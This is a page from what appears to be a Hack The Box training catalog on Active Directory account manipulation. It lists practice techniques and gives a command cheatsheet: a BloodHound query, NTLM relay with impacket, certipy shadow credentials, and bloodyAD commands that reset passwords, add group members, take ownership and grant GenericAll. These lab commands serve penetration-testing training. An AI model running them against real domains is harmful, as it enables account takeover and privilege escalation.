Account Manipulation
Changing passwords, groups, keys or attributes of an account you have rights over.
How it shows up on Hack The Box
In Active Directory it is how you exploit the ACLs BloodHound finds: GenericAll or ForceChangePassword to reset a password, AddMember to join a group, or shadow credentials with AddKeyCredentialLink.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
- Cross-Site Scripting (XSS)
- CSRF
- SQL injection
- SSRF
- Saved credentials / DPAPI
- ADCS (certificates)
- NTLM capture and relay
- Pass-the-hash / ticket
- Password spraying and valid users
- Credentials in files
- Internal services and port forwarding
- SAM/LSA/LSASS dumping
- ACL abuse (BloodHound)
- GPP and GPO abuse
- Hash cracking
Guides
- Active Directory ACL abuse: GenericAll, WriteDacl, Shadow Credentials and DCSync 4 min read What to do with each BloodHound edge: reset passwords, add yourself to groups, Shadow Credentials, grant yourself DCSync with WriteDacl, read LAPS or gMSA.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Your values
Saved in this browser and applied to every cheatsheet.
Active Directory in depth › BloodHound
What your owned user can abuse (outbound ACLs)
MATCH p=(u:User {owned:true})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|AddKeyCredentialLink|ForceChangePassword|AddMember|AllowedToDelegate*1..]->(n) RETURN pActive Directory in depth › NTLM relay
Relay to LDAP for delegation or shadow credentials
Attacker
impacket-ntlmrelayx -t ldaps://dc01.box.htb --delegate-access --no-dump --no-daActive Directory in depth › Delegation
Add a key and get the NT hash with certipy
Attacker
certipy shadow auto -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -account victimabloodyAD › Abusing ACLs
Reset another user's password
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' set password victima 'NuevaClave123!'
Add yourself to a group
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' add groupMember 'NOMBRE DEL GRUPO' usuario
Take ownership and grant yourself full control
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' set owner victima usuario
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' add genericAll victima usuario
Shadow credentials
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' add shadowCredentials victimaNo command matches.